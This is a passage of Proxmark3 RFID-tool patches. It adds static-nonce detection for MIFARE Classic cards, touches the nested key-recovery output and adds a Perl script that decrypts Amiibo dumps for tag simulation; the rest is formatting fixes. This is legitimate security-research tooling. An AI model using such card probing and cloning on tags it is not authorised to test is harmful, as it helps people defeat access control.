+++++++++++++++++----------------- client/fileutils.c | 8 ++--- client/luascripts/lto_dump.lua | 4 +-- 5 files changed, 41 insertions(+), 41 deletions(-) diff --git a/client/Makefile b/client/Makefile index 23c8359b9..891a8b1e5 100644 --- a/client/Makefile +++ b/client/Makefile @@ -22,7 +22,7 @@ vpath %.dic dictionaries OBJDIR = obj LDLIBS ?= -L/usr/local/lib -LDLIBS += -lreadline -lsndfile -lpthread -lm +LDLIBS += -lreadline -lsndfile -lpthread -lm # RPi Zero gcc requires -latomic # but MacOSX /Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/bin/ld diff --git a/client/cmddata.c b/client/cmddata.c index 7af5c686e..a9b38b105 100644 --- a/client/cmddata.c +++ b/client/cmddata.c @@ -37,13 +37,13 @@ static int CmdHelp(const char *Cmd); static int usage_data_save(void) { PrintAndLogEx(NORMAL, "Save trace from graph window , i.e. the GraphBuffer"); PrintAndLogEx(NORMAL, "This is a text file with number -127 to 127. With the option `w` you can save it as wave file"); - PrintAndLogEx(NORMAL, "Filename should be without file extension"); + PrintAndLogEx(NORMAL, "Filename should be without file extension"); PrintAndLogEx(NORMAL, ""); PrintAndLogEx(NORMAL, "Usage: data save [h] [w] [f ]"); PrintAndLogEx(NORMAL, "Options:"); PrintAndLogEx(NORMAL, " h this help"); PrintAndLogEx(NORMAL, " w save as wave format (.wav)"); - PrintAndLogEx(NORMAL, " f save file name"); + PrintAndLogEx(NORMAL, " f save file name"); PrintAndLogEx(NORMAL, "Samples:"); PrintAndLogEx(NORMAL, " data save f mytrace - save graphbuffer to file"); PrintAndLogEx(NORMAL, " data save f mytrace w - save graphbuffer to wave file"); @@ -1925,10 +1925,10 @@ int CmdSave(const char *Cmd) { if (errors || cmdp == 0) return usage_data_save(); - if ( as_wave ) - return saveFileWAVE(filename, GraphBuffer, GraphTraceLen); + if (as_wave) + return saveFileWAVE(filename, GraphBuffer, GraphTraceLen); else - return saveFilePM3(filename, GraphBuffer, GraphTraceLen); + return saveFilePM3(filename, GraphBuffer, GraphTraceLen); } static int CmdScale(const char *Cmd) { diff --git a/client/cmdhflto.c b/client/cmdhflto.c index 828fb0268..0fc676edb 100644 --- a/client/cmdhflto.c +++ b/client/cmdhflto.c @@ -19,7 +19,7 @@ #include "crc16.h" #include "ui.h" #include "cmdhf14a.h" -#include "protocols.h" +#include "protocols.h" static int CmdHelp(const char *Cmd); @@ -43,8 +43,8 @@ static void lto_switch_on_field(void) { // send a raw LTO-CM command, returns the length of the response (0 in case of error) static int lto_send_cmd_raw(uint8_t *cmd, uint8_t len, uint8_t *response, uint16_t *response_len, bool verbose) { - - SendCommandOLD(CMD_HF_ISO14443A_READER, ISO14A_RAW | ISO14A_NO_DISCONNECT | ISO14A_NO_RATS, len, 0, cmd, len); + + SendCommandOLD(CMD_HF_ISO14443A_READER, ISO14A_RAW | ISO14A_NO_DISCONNECT | ISO14A_NO_RATS, len, 0, cmd, len); PacketResponseNG resp; if (!WaitForResponseTimeout(CMD_ACK, &resp, 1500)) { @@ -71,7 +71,7 @@ static int lto_send_cmd_raw(uint8_t *cmd, uint8_t len, uint8_t *response, uint16 static int topaz_select(uint8_t *id_response, uint8_t id_len, bool verbose) { // Todo: implement anticollision - uint8_t resp[] = {0,0}; + uint8_t resp[] = {0, 0}; uint16_t resp_len; uint8_t wupa_cmd[] = {LTO_REQ_STANDARD}; uint8_t select_cmd[] = {LTO_SELECT, 0x20}; @@ -132,41 +132,41 @@ static int CmdHfLTOInfo(const char *Cmd) { int infoLTO(bool verbose) { clearCommandBuffer(); - + uint8_t serial_number[5]; uint8_t serial_len = 0; topaz_select(serial_number, serial_len, verbose); - lto_switch_off_field(); -/* + lto_switch_off_field(); + /* --- "hf 14a raw -a -p -b 7 45" --- "hf 14a raw -c -p 9320" --- "hf 14a raw -c -p 9370%s", serial_number --- "disconnect" + -- "hf 14a raw -a -p -b 7 45" + -- "hf 14a raw -c -p 9320" + -- "hf 14a raw -c -p 9370%s", serial_number + -- "disconnect" - SendCommandNG(CMD_HF_THINFILM_READ, NULL, 0); - PacketResponseNG resp; - if (!WaitForResponseTimeout(CMD_HF_THINFILM_READ, &resp, 1500)) { - PrintAndLogEx(WARNING, "timeout while waiting for reply."); - return PM3_ETIMEOUT; - } - - if (resp.status == PM3_SUCCESS) { - if (resp.length == 16 || resp.length == 32) { - print_barcode(resp.data.asBytes, resp.length, verbose); - } else { - if (verbose) - PrintAndLogEx(WARNING, "Response is wrong length. (%d)", resp.length); - - return PM3_ESOFT; + SendCommandNG(CMD_HF_THINFILM_READ, NULL, 0); + PacketResponseNG resp; + if (!WaitForResponseTimeout(CMD_HF_THINFILM_READ, &resp, 1500)) { + PrintAndLogEx(WARNING, "timeout while waiting for reply."); + return PM3_ETIMEOUT; } - } - return resp.status; -*/ + if (resp.status == PM3_SUCCESS) { + if (resp.length == 16 || resp.length == 32) { + print_barcode(resp.data.asBytes, resp.length, verbose); + } else { + if (verbose) + PrintAndLogEx(WARNING, "Response is wrong length. (%d)", resp.length); + + return PM3_ESOFT; + } + } + + return resp.status; + */ return PM3_SUCCESS; } diff --git a/client/fileutils.c b/client/fileutils.c index a56745148..74cd6ab21 100644 --- a/client/fileutils.c +++ b/client/fileutils.c @@ -401,20 +401,20 @@ out: } int saveFileWAVE(const char *preferredName, int *data, size_t datalen) { - + if (data == NULL) return PM3_EINVARG; char *fileName = newfilenamemcopy(preferredName, ".wav"); if (fileName == NULL) return PM3_EMALLOC; int retval = PM3_SUCCESS; - + SF_INFO wave_info; // TODO update for other tag types wave_info.samplerate = 125000; wave_info.channels = 1; wave_info.format = SF_FORMAT_WAV | SF_FORMAT_PCM_U8; - SNDFILE* wave_file = sf_open(fileName, SFM_WRITE, &wave_info); + SNDFILE *wave_file = sf_open(fileName, SFM_WRITE, &wave_info); if (!wave_file) { PrintAndLogEx(WARNING, "file not found or locked. "_YELLOW_("'%s'"), fileName); @@ -437,7 +437,7 @@ out: } int saveFilePM3(const char *preferredName, int *data, size_t datalen) { - + if (data == NULL) return PM3_EINVARG; char *fileName = newfilenamemcopy(preferredName, ".pm3"); if (fileName == NULL) return PM3_EMALLOC; diff --git a/client/luascripts/lto_dump.lua b/client/luascripts/lto_dump.lua index 2e8510129..a384a4f9b 100644 --- a/client/luascripts/lto_dump.lua +++ b/client/luascripts/lto_dump.lua @@ -78,7 +78,7 @@ local function sendRaw(rawdata, options) if options.append_crc then flags = flags + lib14a.ISO14A_COMMAND.ISO14A_APPEND_CRC end - + local arg2 = #rawdata / 2 if options.bits7 then arg2 = arg2 + tonumber(lshift(7, 16)) @@ -170,7 +170,7 @@ function main(args) if err then return end local d0_d15 = getdata(res) - + payload = "80" res, err = send(payload, {ignore_response = false, append_crc = false}) if err then return end From 66426cee1ec60698348f46f9c8dcb22a6ab4a51c Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Sun, 22 Dec 2019 12:56:51 +0100 Subject: [PATCH 110/418] chg: - adapt to new data save parameter --- client/cmdmain.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/client/cmdmain.c b/client/cmdmain.c index 802d09fa9..06f44e1aa 100644 --- a/client/cmdmain.c +++ b/client/cmdmain.c @@ -96,7 +96,7 @@ static int CmdAuto(const char *Cmd) { CmdPlot(""); lf_read(true, 40000); char *fname = calloc(100, sizeof(uint8_t)); - AppendDate(fname, 100, "lf_unknown_%Y-%m-%d_%H:%M.pm3"); + AppendDate(fname, 100, "f lf_unknown_%Y-%m-%d_%H:%M"); CmdSave(fname); free(fname); return PM3_SUCCESS; From a098fb948544899b923bc6b6b4a31c23fd9cab2a Mon Sep 17 00:00:00 2001 From: Iceman Date: Sun, 22 Dec 2019 21:39:27 +0100 Subject: [PATCH 111/418] Update Linux-Installation-Instructions.md add libsndfile for ArchLinux / Fedora (@doegox ) --- .../Linux-Installation-Instructions.md | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/doc/md/Installation_Instructions/Linux-Installation-Instructions.md b/doc/md/Installation_Instructions/Linux-Installation-Instructions.md index 08c7fe474..b48b8e9f5 100644 --- a/doc/md/Installation_Instructions/Linux-Installation-Instructions.md +++ b/doc/md/Installation_Instructions/Linux-Installation-Instructions.md @@ -35,7 +35,7 @@ If you get some (non blocking) error at runtime such as _Gtk-Message: Failed to ## On ArchLinux ```sh -sudo pacman -Sy base-devel readline arm-none-eabi-gcc arm-none-eabi-newlib git --needed +sudo pacman -Sy base-devel readline arm-none-eabi-gcc arm-none-eabi-newlib libsndfile git --needed ``` If you want graphical output (such as in `hw tune`): ```sh @@ -45,7 +45,7 @@ sudo pacman -Su qt5-base ## On Fedora ```sh -sudo dnf install git make gcc gcc-c++ arm-none-eabi-gcc-cs arm-none-eabi-newlib readline-devel qt5-qtbase-devel libatomic +sudo dnf install git make gcc gcc-c++ arm-none-eabi-gcc-cs arm-none-eabi-newlib readline-devel qt5-qtbase-devel libatomic libsndfile ``` If you don't need the graphical components of the Proxmark3 client, you can skip the installation of `qt5-qtbase-devel`. From 9a68c524389f240e6d104488ebe4326fb7bdc111 Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Mon, 23 Dec 2019 10:41:54 +0100 Subject: [PATCH 112/418] inline some compare --- client/mifare/mfkey.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/client/mifare/mfkey.c b/client/mifare/mfkey.c index ee0c9f052..7d04762b8 100644 --- a/client/mifare/mfkey.c +++ b/client/mifare/mfkey.c @@ -14,7 +14,7 @@ #include "crapto1/crapto1.h" // MIFARE -int compare_uint64(const void *a, const void *b) { +int inline compare_uint64(const void *a, const void *b) { if (*(uint64_t *)b == *(uint64_t *)a) return 0; if (*(uint64_t *)b < * (uint64_t *)a) return 1; return -1; From 07b3b6ed4edd3aaf724797f3f77c76344688d263 Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Mon, 23 Dec 2019 10:42:42 +0100 Subject: [PATCH 113/418] textual --- client/mifare/mifarehost.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/client/mifare/mifarehost.c b/client/mifare/mifarehost.c index 86676696d..2aa56507c 100644 --- a/client/mifare/mifarehost.c +++ b/client/mifare/mifarehost.c @@ -478,7 +478,7 @@ int mfnested(uint8_t blockNo, uint8_t keyType, uint8_t *key, uint8_t trgBlockNo, free(statelists[1].head.slhead); num_to_bytes(key64, 6, resultKey); - PrintAndLogEx(SUCCESS, "target block:%3u key type: %c -- found valid key [%012" PRIx64 "]", + PrintAndLogEx(SUCCESS, "target block:%3u key type: %c -- found valid key [ %012" PRIx64 " ]", (uint16_t)resp.oldarg[2] & 0xff, (resp.oldarg[2] >> 8) ? 'B' : 'A', key64 From a6a48f0e6d294ba7432076a93efa03c274489000 Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Mon, 23 Dec 2019 15:23:04 +0100 Subject: [PATCH 114/418] Chg 'hf 14a info' - static/fixed nonce detection --- armsrc/appmain.c | 4 +++ armsrc/mifarecmd.c | 51 ++++++++++++++++++++++++++++++++++++++ armsrc/mifarecmd.h | 1 + client/mifare/mifarehost.c | 28 +++++++++++++++++++++ client/mifare/mifarehost.h | 1 + include/pm3_cmd.h | 1 + 6 files changed, 86 insertions(+) diff --git a/armsrc/appmain.c b/armsrc/appmain.c index ef4dc6a6c..62feed4d0 100644 --- a/armsrc/appmain.c +++ b/armsrc/appmain.c @@ -1251,6 +1251,10 @@ static void PacketReceived(PacketCommandNG *packet) { MifareU_Otp_Tearoff(); break; } + case CMD_HF_MIFARE_STATIC_NONCE: { + MifareHasStaticNonce(); + break; + } #endif #ifdef WITH_NFCBARCODE diff --git a/armsrc/mifarecmd.c b/armsrc/mifarecmd.c index ea7e8482a..d0dd27be8 100644 --- a/armsrc/mifarecmd.c +++ b/armsrc/mifarecmd.c @@ -2057,6 +2057,57 @@ OUT: BigBuf_Clear_ext(false); } +void MifareHasStaticNonce() { + + // variables + int retval = PM3_SUCCESS, len; + + uint32_t nt = 0 ; + uint8_t rec[1] = {0x00}; + uint8_t recpar[1] = {0x00}; + uint8_t *uid = BigBuf_malloc(10); + uint8_t data[1] = {0x00}; + + struct Crypto1State mpcs = {0, 0}; + struct Crypto1State *pcs; + pcs = &mpcs; + iso14a_card_select_t card_info; + + iso14443a_setup(FPGA_HF_ISO14443A_READER_LISTEN); + + for (int i = 0; i < 3; i++) { + if (!iso14443a_select_card(uid, &card_info, NULL, true, 0, true)) { + retval = PM3_ESOFT; + goto OUT; + } + + // Transmit MIFARE_CLASSIC_AUTH + len = mifare_sendcmd_short(pcs, false, 0x60, 0, rec, recpar, NULL); + if (len != 4) { + retval = PM3_ESOFT; + goto OUT; + } + + // Save the tag nonce (nt) + if (nt == bytes_to_num(rec, 4)) { + data[0]++; + } + + nt = bytes_to_num(rec, 4); + + CHK_TIMEOUT(); + } + +OUT: + reply_ng(CMD_HF_MIFARE_STATIC_NONCE, retval, data, sizeof(data)); + // turns off + OnSuccessMagic(); + BigBuf_free(); + BigBuf_Clear_ext(false); + + crypto1_deinit(pcs); +} + void OnSuccessMagic() { FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF); LEDsoff(); diff --git a/armsrc/mifarecmd.h b/armsrc/mifarecmd.h index 6b730fb58..2cb22d28b 100644 --- a/armsrc/mifarecmd.h +++ b/armsrc/mifarecmd.h @@ -39,6 +39,7 @@ int MifareECardLoadExt(uint8_t numSectors, uint8_t keyType); void MifareCSetBlock(uint32_t arg0, uint32_t arg1, uint8_t *datain); // Work with "magic Chinese" card void MifareCGetBlock(uint32_t arg0, uint32_t arg1, uint8_t *datain); void MifareCIdent(); // is "magic chinese" card? +void MifareHasStaticNonce(); // Has the tag a static nonce? void MifareSetMod(uint8_t *datain); void MifareUSetPwd(uint8_t arg0, uint8_t *datain); diff --git a/client/mifare/mifarehost.c b/client/mifare/mifarehost.c index 2aa56507c..8017af076 100644 --- a/client/mifare/mifarehost.c +++ b/client/mifare/mifarehost.c @@ -1132,6 +1132,34 @@ int detect_classic_nackbug(bool verbose) { } return PM3_SUCCESS; } + +/* Detect Mifare Classic Static / Fixed nonce +detects special magic cards that has a static / fixed nonce +returns: +0 = has normal nonce +1 = has static/fixed nonce +2 = cmd failed +*/ +int detect_classic_static_nonce(void) { + + clearCommandBuffer(); + SendCommandNG(CMD_HF_MIFARE_STATIC_NONCE, NULL, 0); + PacketResponseNG resp; + + if (WaitForResponseTimeout(CMD_HF_MIFARE_STATIC_NONCE, &resp, 500)) { + + if (resp.status == PM3_ESOFT) + return 2; + + if (resp.data.asBytes[0] == 0) + return 0; + + if (resp.data.asBytes[0] != 0) + return 1; + } + return 2; +} + /* try to see if card responses to "chinese magic backdoor" commands. */ void detect_classic_magic(void) { diff --git a/client/mifare/mifarehost.h b/client/mifare/mifarehost.h index 50ed9d8e2..d81595942 100644 --- a/client/mifare/mifarehost.h +++ b/client/mifare/mifarehost.h @@ -90,5 +90,6 @@ int tryDecryptWord(uint32_t nt, uint32_t ar_enc, uint32_t at_enc, uint8_t *data, int detect_classic_prng(void); int detect_classic_nackbug(bool verbose); void detect_classic_magic(void); +int detect_classic_static_nonce(void); void mf_crypto1_decrypt(struct Crypto1State *pcs, uint8_t *data, int len, bool isEncrypted); #endif diff --git a/include/pm3_cmd.h b/include/pm3_cmd.h index e775b3413..64a0c5fd1 100644 --- a/include/pm3_cmd.h +++ b/include/pm3_cmd.h @@ -507,6 +507,7 @@ typedef struct { #define CMD_HF_DESFIRE_COMMAND 0x072e #define CMD_HF_MIFARE_NACK_DETECT 0x0730 +#define CMD_HF_MIFARE_STATIC_NONCE 0x0731 // MFU OTP TearOff #define CMD_HF_MFU_OTP_TEAROFF 0x0740 From ed3e0895b5e1e161533ea7faf30a967effbf3cf2 Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Mon, 23 Dec 2019 22:00:34 +0100 Subject: [PATCH 115/418] hook it up --- client/cmdhf14a.c | 6 ++++++ 1 file changed, 6 insertions(+) diff --git a/client/cmdhf14a.c b/client/cmdhf14a.c index 4aac73855..6744916f7 100644 --- a/client/cmdhf14a.c +++ b/client/cmdhf14a.c @@ -1598,6 +1598,12 @@ int infoHF14A(bool verbose, bool do_nack_test, bool do_aid_search) { if (do_nack_test) detect_classic_nackbug(!verbose); + + res = detect_classic_static_nonce(); + if (res == 1) + PrintAndLogEx(SUCCESS, "Static/Fixed nonce detected"); + if (res == 2 && verbose) + PrintAndLogEx(SUCCESS, "Static/Fixed nonce detection failed"); } return select_status; From 15cafbe6c28f5dde4795c78d4f4236ea8dba61c2 Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Mon, 23 Dec 2019 22:24:11 +0100 Subject: [PATCH 116/418] fix: hw search for lto --- client/cmdhflto.c | 7 ++++--- 1 file changed, 4 insertions(+), 3 deletions(-) diff --git a/client/cmdhflto.c b/client/cmdhflto.c index 0fc676edb..8a1e914aa 100644 --- a/client/cmdhflto.c +++ b/client/cmdhflto.c @@ -68,7 +68,7 @@ static int lto_send_cmd_raw(uint8_t *cmd, uint8_t len, uint8_t *response, uint16 // select a LTO-CM tag. Send WUPA and RID. -static int topaz_select(uint8_t *id_response, uint8_t id_len, bool verbose) { +static int lto_select(uint8_t *id_response, uint8_t id_len, bool verbose) { // Todo: implement anticollision uint8_t resp[] = {0, 0}; @@ -136,7 +136,7 @@ int infoLTO(bool verbose) { uint8_t serial_number[5]; uint8_t serial_len = 0; - topaz_select(serial_number, serial_len, verbose); + int ret_val = lto_select(serial_number, serial_len, verbose); lto_switch_off_field(); /* @@ -167,7 +167,7 @@ int infoLTO(bool verbose) { return resp.status; */ - return PM3_SUCCESS; + return ret_val; } static int CmdHfLTOList(const char *Cmd) { @@ -197,3 +197,4 @@ int CmdHFLTO(const char *Cmd) { clearCommandBuffer(); return CmdsParse(CommandTable, Cmd); } + From db32e20554a1d47245c06832beb961cecb9fde30 Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Mon, 23 Dec 2019 22:24:45 +0100 Subject: [PATCH 117/418] spaces --- client/cmdhf.c | 18 +++++++++--------- 1 file changed, 9 insertions(+), 9 deletions(-) diff --git a/client/cmdhf.c b/client/cmdhf.c index 6ef589d26..181b10858 100644 --- a/client/cmdhf.c +++ b/client/cmdhf.c @@ -86,7 +86,7 @@ int CmdHFSearch(const char *Cmd) { PrintAndLogEx(INPLACE, "Searching for ThinFilm tag..."); if (IfPm3NfcBarcode()) { if (infoThinFilm(false) == PM3_SUCCESS) { - PrintAndLogEx(SUCCESS, "\nValid " _GREEN_("Thinfilm tag") " found\n"); + PrintAndLogEx(SUCCESS, "\nValid " _GREEN_("Thinfilm tag") "found\n"); return PM3_SUCCESS; } } @@ -95,7 +95,7 @@ int CmdHFSearch(const char *Cmd) { PrintAndLogEx(INPLACE, "Searching for LTO-CM tag..."); if (IfPm3Iso14443a()) { if (infoLTO(false) == PM3_SUCCESS) { - PrintAndLogEx(SUCCESS, "\nValid " _GREEN_("LTO-CM tag") " found\n"); + PrintAndLogEx(SUCCESS, "\nValid " _GREEN_("LTO-CM tag") "found\n"); return PM3_SUCCESS; } } @@ -104,7 +104,7 @@ int CmdHFSearch(const char *Cmd) { PrintAndLogEx(INPLACE, "Searching for ISO14443-A tag..."); if (IfPm3Iso14443a()) { if (infoHF14A(false, false, false) > 0) { - PrintAndLogEx(SUCCESS, "\nValid " _GREEN_("ISO14443-A tag") " found\n"); + PrintAndLogEx(SUCCESS, "\nValid " _GREEN_("ISO14443-A tag") "found\n"); return PM3_SUCCESS; } } @@ -113,7 +113,7 @@ int CmdHFSearch(const char *Cmd) { PrintAndLogEx(INPLACE, "Searching for ISO15693 tag..."); if (IfPm3Iso15693()) { if (readHF15Uid(false)) { - PrintAndLogEx(SUCCESS, "\nValid " _GREEN_("ISO15693 tag") " found\n"); + PrintAndLogEx(SUCCESS, "\nValid " _GREEN_("ISO15693 tag") "found\n"); return PM3_SUCCESS; } } @@ -122,7 +122,7 @@ int CmdHFSearch(const char *Cmd) { PrintAndLogEx(INPLACE, "Searching for LEGIC tag..."); if (IfPm3Legicrf()) { if (readLegicUid(false) == PM3_SUCCESS) { - PrintAndLogEx(SUCCESS, "\nValid " _GREEN_("LEGIC tag") " found\n"); + PrintAndLogEx(SUCCESS, "\nValid " _GREEN_("LEGIC tag") "found\n"); return PM3_SUCCESS; } } @@ -131,7 +131,7 @@ int CmdHFSearch(const char *Cmd) { PrintAndLogEx(INPLACE, "Searching for Topaz tag..."); if (IfPm3Iso14443a()) { if (readTopazUid() == PM3_SUCCESS) { - PrintAndLogEx(SUCCESS, "\nValid " _GREEN_("Topaz tag") " found\n"); + PrintAndLogEx(SUCCESS, "\nValid " _GREEN_("Topaz tag") "found\n"); return PM3_SUCCESS; } } @@ -140,7 +140,7 @@ int CmdHFSearch(const char *Cmd) { PrintAndLogEx(INPLACE, "Searching for FeliCa tag..."); if (IfPm3Felica()) { if (readFelicaUid(false) == PM3_SUCCESS) { - PrintAndLogEx(NORMAL, "\nValid " _GREEN_("ISO18092 / FeliCa tag") " found\n"); + PrintAndLogEx(NORMAL, "\nValid " _GREEN_("ISO18092 / FeliCa tag") "found\n"); return PM3_SUCCESS; } } @@ -150,7 +150,7 @@ int CmdHFSearch(const char *Cmd) { PrintAndLogEx(INPLACE, "Searching for ISO14443-B tag..."); if (IfPm3Iso14443a()) { if (readHF14B(false) == 1) { - PrintAndLogEx(SUCCESS, "\nValid " _GREEN_("ISO14443-B tag") " found\n"); + PrintAndLogEx(SUCCESS, "\nValid " _GREEN_("ISO14443-B tag") "found\n"); return PM3_SUCCESS; } } @@ -159,7 +159,7 @@ int CmdHFSearch(const char *Cmd) { PrintAndLogEx(INPLACE, "Searching for iClass / PicoPass tag..."); if (IfPm3Iclass()) { if (readIclass(false, false) == 1) { - PrintAndLogEx(SUCCESS, "\nValid " _GREEN_("iClass tag / PicoPass tag") " found\n"); + PrintAndLogEx(SUCCESS, "\nValid " _GREEN_("iClass tag / PicoPass tag") "found\n"); return PM3_SUCCESS; } } From 1472922c9ed546a70ab0e540fe7e5ded67d52aa6 Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Mon, 23 Dec 2019 22:52:50 +0100 Subject: [PATCH 118/418] Add: two perl scripts from https://github.com/samyk/samytools/. Thanks @samyk! \n pm3_cs8.pl converts pm3 files to wave. \npm3_amii_bin2eml.pl convert / decrypts amiiboo dumps to eml format used when simulating. --- tools/pm3_amii_bin2eml.pl | 681 ++++++++++++++++++++++++++++++++++++++ tools/pm3_cs8.pl | 43 +++ 2 files changed, 724 insertions(+) create mode 100755 tools/pm3_amii_bin2eml.pl create mode 100755 tools/pm3_cs8.pl diff --git a/tools/pm3_amii_bin2eml.pl b/tools/pm3_amii_bin2eml.pl new file mode 100755 index 000000000..bb16960d4 --- /dev/null +++ b/tools/pm3_amii_bin2eml.pl @@ -0,0 +1,681 @@ +#!/usr/bin/perl +# +# Read Amiibo data, decrypt, and produce EML file +# Convert proxmark MFU (MIFARE Ultralight) .bin to .eml format +# for proxmark3 loading and simulation +# +# -samy kamkar 05/28/2017 +# +# hf mf eload u FILENAME_MINUS_EML +# hf 14a sim t 7 u UID + +# perl -lne 'chomp; s/\s+(\S+)$//;$f=$1;if($f=~s/-(\S+)//){$g=hex($1);}else{$g=hex($f)}$f=hex($f); for$m($f..$g){print "0x" . substr(unpack("H4",pack("n",$m)),1) ." => \"$_\","}' /tmp/game >> game2 +# perl -lne 'if(/^(\S.*?)\s+\w?\w\w\w\w(\s*-\s*\w?\w\w\w\w)?\s*$/){$l=$1} s/(\w{4,5}\s*-\s*)?(\w{4,5})$//; $a=$1;$b=$2; $b=hex($b); $a=$a?hex($a):$b; for$m($a..$b){print "0x" . substr(unpack("H4",pack("n",$m)),0) ." => \"$l\","}' /tmp/g2 + +my $BLOCKS = 255; +my $UIDLOC = -540; # UID is 540 bytes from the end +my $BLOCKSIZE = 4; # in bytes +my $AMIITOOL = '../client/amiitool/amiitool'; # path to amiitool (unless in $PATH) +my $KEYFILE = '../client/amiitool/key_retail.bin'; # path to retail key file +my $ADDHDR = 1; # add 48 byte header? +my $DECRYPT = 0; # auto-decrypt + +my %game = ( +0x000 => "Mario", +0x001 => "Mario", +0x008 => "Yoshi's Woolly World", +0x010 => "The Legend of Zelda", +0x014 => "Breath of the Wild", +0x018 => "Animal Crossing", +0x019 => "Animal Crossing", +0x01a => "Animal Crossing", +0x01b => "Animal Crossing", +0x01c => "Animal Crossing", +0x01d => "Animal Crossing", +0x01e => "Animal Crossing", +0x01f => "Animal Crossing", +0x020 => "Animal Crossing", +0x021 => "Animal Crossing", +0x022 => "Animal Crossing", +0x023 => "Animal Crossing", +0x024 => "Animal Crossing", +0x025 => "Animal Crossing", +0x026 => "Animal Crossing", +0x027 => "Animal Crossing", +0x028 => "Animal Crossing", +0x029 => "Animal Crossing", +0x02a => "Animal Crossing", +0x02b => "Animal Crossing", +0x02c => "Animal Crossing", +0x02d => "Animal Crossing", +0x02e => "Animal Crossing", +0x02f => "Animal Crossing", +0x030 => "Animal Crossing", +0x031 => "Animal Crossing", +0x032 => "Animal Crossing", +0x033 => "Animal Crossing", +0x034 => "Animal Crossing", +0x035 => "Animal Crossing", +0x036 => "Animal Crossing", +0x037 => "Animal Crossing", +0x038 => "Animal Crossing", +0x039 => "Animal Crossing", +0x03a => "Animal Crossing", +0x03b => "Animal Crossing", +0x03c => "Animal Crossing", +0x03d => "Animal Crossing", +0x03e => "Animal Crossing", +0x03f => "Animal Crossing", +0x040 => "Animal Crossing", +0x041 => "Animal Crossing", +0x042 => "Animal Crossing", +0x043 => "Animal Crossing", +0x044 => "Animal Crossing", +0x045 => "Animal Crossing", +0x046 => "Animal Crossing", +0x047 => "Animal Crossing", +0x048 => "Animal Crossing", +0x049 => "Animal Crossing", +0x04a => "Animal Crossing", +0x04b => "Animal Crossing", +0x04c => "Animal Crossing", +0x04d => "Animal Crossing", +0x04e => "Animal Crossing", +0x04f => "Animal Crossing", +0x050 => "Animal Crossing", +0x051 => "Animal Crossing", +0x058 => "Star Fox", +0x05c => "Metroid", +0x060 => "F-Zero", +0x064 => "Pikmin", +0x06c => "Punch Out", +0x070 => "Wii Fit", +0x074 => "Kid Icarus", +0x078 => "Classic Nintendo", +0x07c => "Mii", +0x080 => "Splatoon", +0x09c => "Mario Sports Superstars", +0x09d => "Mario Sports Superstars", +0x190 => "Pokemon", +0x191 => "Pokemon", +0x192 => "Pokemon", +0x193 => "Pokemon", +0x194 => "Pokemon", +0x195 => "Pokemon", +0x196 => "Pokemon", +0x197 => "Pokemon", +0x198 => "Pokemon", +0x199 => "Pokemon", +0x19a => "Pokemon", +0x19b => "Pokemon", +0x19c => "Pokemon", +0x19d => "Pokemon", +0x19e => "Pokemon", +0x19f => "Pokemon", +0x1a0 => "Pokemon", +0x1a1 => "Pokemon", +0x1a2 => "Pokemon", +0x1a3 => "Pokemon", +0x1a4 => "Pokemon", +0x1a5 => "Pokemon", +0x1a6 => "Pokemon", +0x1a7 => "Pokemon", +0x1a8 => "Pokemon", +0x1a9 => "Pokemon", +0x1aa => "Pokemon", +0x1ab => "Pokemon", +0x1ac => "Pokemon", +0x1ad => "Pokemon", +0x1ae => "Pokemon", +0x1af => "Pokemon", +0x1b0 => "Pokemon", +0x1b1 => "Pokemon", +0x1b2 => "Pokemon", +0x1b3 => "Pokemon", +0x1b4 => "Pokemon", +0x1b5 => "Pokemon", +0x1b6 => "Pokemon", +0x1b7 => "Pokemon", +0x1b8 => "Pokemon", +0x1b9 => "Pokemon", +0x1ba => "Pokemon", +0x1bb => "Pokemon", +0x1bc => "Pokemon", +0x1bd => "Pokemon", +0x1d0 => "Pokken", +0x1f0 => "Kirby", +0x1f4 => "BoxBoy!", +0x210 => "Fire Emblem", +0x224 => "Xenoblade", +0x228 => "Earthbound", +0x22c => "Chibi Robo", +0x320 => "Sonic", +0x334 => "Pac-man", +0x348 => "Megaman", +0x34c => "Street fighter", +0x350 => "Monster Hunter", +0x35c => "Shovel Knight", +); + +my %type = ( +0x00 => "Figure", +0x01 => "Card", +0x02 => "Yarn", +); + +my %amiibo = ( +0x0000 => "Super Smash Bros.", +0x0001 => "Super Smash Bros.", +0x0002 => "Super Smash Bros.", +0x0003 => "Super Smash Bros.", +0x0004 => "Super Smash Bros.", +0x0005 => "Super Smash Bros.", +0x0006 => "Super Smash Bros.", +0x0007 => "Super Smash Bros.", +0x0008 => "Super Smash Bros.", +0x0009 => "Super Smash Bros.", +0x000a => "Super Smash Bros.", +0x000b => "Super Smash Bros.", +0x000c => "Super Smash Bros.", +0x000d => "Super Smash Bros.", +0x000e => "Super Smash Bros.", +0x000f => "Super Smash Bros.", +0x0010 => "Super Smash Bros.", +0x0011 => "Super Smash Bros.", +0x0012 => "Super Smash Bros.", +0x0013 => "Super Smash Bros.", +0x0014 => "Super Smash Bros.", +0x0015 => "Super Smash Bros.", +0x0016 => "Super Smash Bros.", +0x0017 => "Super Smash Bros.", +0x0018 => "Super Smash Bros.", +0x0019 => "Super Smash Bros.", +0x001a => "Super Smash Bros.", +0x001b => "Super Smash Bros.", +0x001c => "Super Smash Bros.", +0x001d => "Super Smash Bros.", +0x001e => "Super Smash Bros.", +0x001f => "Super Smash Bros.", +0x0020 => "Super Smash Bros.", +0x0021 => "Super Smash Bros.", +0x0022 => "Super Smash Bros.", +0x0023 => "Super Smash Bros.", +0x0024 => "Super Smash Bros.", +0x0025 => "Super Smash Bros.", +0x0026 => "Super Smash Bros.", +0x0027 => "Super Smash Bros.", +0x0028 => "Super Smash Bros.", +0x0029 => "Super Smash Bros.", +0x002a => "Super Smash Bros.", +0x002b => "Super Smash Bros.", +0x002c => "Super 